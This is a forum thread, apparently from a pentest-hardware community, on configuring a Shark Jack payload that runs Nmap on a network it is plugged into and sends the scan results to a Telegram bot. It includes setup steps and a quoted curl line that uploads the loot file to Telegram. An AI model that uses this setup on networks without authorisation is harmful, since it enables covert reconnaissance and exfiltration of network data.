Jump to content

Telegram Bot + Nmap + Sharjack


Recommended Posts

  • 2 weeks later...

It's not much of a step-by-step needed actually. You just need a Telegram bot and a channel to add to the script.

Copy the payload script from the GitHub source and make the changes needed (i.e. add the Telegram bot token and the channel id)

Curl is also needed as per instructions in the payload script comments
opkg update
opkg install curl
probably also
opkg install libcurl

Add the payload script file to the /root/payload/ directory of the Shark Jack

Power off the Shark Jack and then put it in Attack Mode and plug it into an Ethernet port connecting to the network to be scanned

Hopefully, the Telegram app will show a message when the scan is done

If you need help setting up a Telegram bot and a channel, there are numerous "howto's" online, such as these ones
https://www.codefixup.com/create-telegram-bot-with-php/
https://www.wikihow.com/Create-a-Telegram-Channel-on-Android
https://github.com/GabrielRF/telegram-id#web-channel-id

Link to post
Share on other sites
1 hour ago, chrizree said:

It's not much of a step-by-step needed actually. You just need a Telegram bot and a channel to add to the script.

Copy the payload script from the GitHub source and make the changes needed (i.e. add the Telegram bot token and the channel id)

Curl is also needed as per instructions in the payload script comments
opkg update
opkg install curl
probably also
opkg install libcurl

Add the payload script file to the /root/payload/ directory of the Shark Jack

Power off the Shark Jack and then put it in Attack Mode and plug it into an Ethernet port connecting to the network to be scanned

Hopefully, the Telegram app will show a message when the scan is done

If you need help setting up a Telegram bot and a channel, there are numerous "howto's" online, such as these ones
https://www.codefixup.com/create-telegram-bot-with-php/
https://www.wikihow.com/Create-a-Telegram-Channel-on-Android
https://github.com/GabrielRF/telegram-id#web-channel-id

I did everything as in the instructions my shark is scanning the network I get a notification that the network has been scanned but the file with the Nmap result is still not uploaded to the channel

Link to post
Share on other sites

Perhaps it's a bug in the script on line 100 (if you haven't changed it yourself)

The line says

curl -v -F "chat_id=YOUR CHANEL ID" -F document=@$LOOT_DIR/nmap-scan_$SCAN_M.txt $URL_FILE

but the variable for the channel ID should be used of course instead of YOUR CHANEL ID, or putting the ID itself there, but... since there already is a variable for it in the script, $ID_CHANEL should be used as I can see it

Link to post
Share on other sites
12 hours ago, chrizree said:

Perhaps it's a bug in the script on line 100 (if you haven't changed it yourself)

The line says

curl -v -F "chat_id=YOUR CHANEL ID" -F document=@$LOOT_DIR/nmap-scan_$SCAN_M.txt $URL_FILE

but the variable for the channel ID should be used of course instead of YOUR CHANEL ID, or putting the ID itself there, but... since there already is a variable for it in the script, $ID_CHANEL should be used as I can see it

write me please in telegram @Hargriv

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...